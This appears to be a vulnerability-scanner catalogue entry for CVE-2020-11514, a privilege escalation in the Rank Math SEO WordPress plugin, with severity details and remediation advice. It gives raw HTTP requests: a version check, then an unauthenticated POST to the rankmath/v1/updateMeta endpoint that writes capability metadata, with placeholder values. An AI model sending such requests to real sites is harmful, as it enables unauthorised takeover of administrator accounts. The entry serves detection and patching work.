| Title | Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint |
|---|---|
| Author | s4e-io |
| Severity | Critical |
| Impact | Unauthenticated attackers can escalate their privileges to administrator level or revoke administrative access from legitimate users, leading to complete compromise of the WordPress site. |
| Remediation | Update the Rank Math SEO plugin to version 1.0.41 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.56628 |
| CVE ID | CVE-2020-11514 |
| CWE ID | CWE-862 |
| Tags | cve cve2020 wordpress wordfence seo-by-rank-math wp-plugin priv-esc unauth vkev vuln |
The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.
GET /wp-content/plugins/seo-by-rank-math/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /wp-json/rankmath/v1/updateMeta HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Length: 139
Content-Type: application/json
Accept-Encoding: gzip
{
"objectID": "787511647",
"objectType": "38FPpUDMzTf7qZP8vudCU0Y3owv",
"meta": {
"rank_math_capabilities": ["kwlvj"]
}
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11514.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11514.pcap
N/AN/A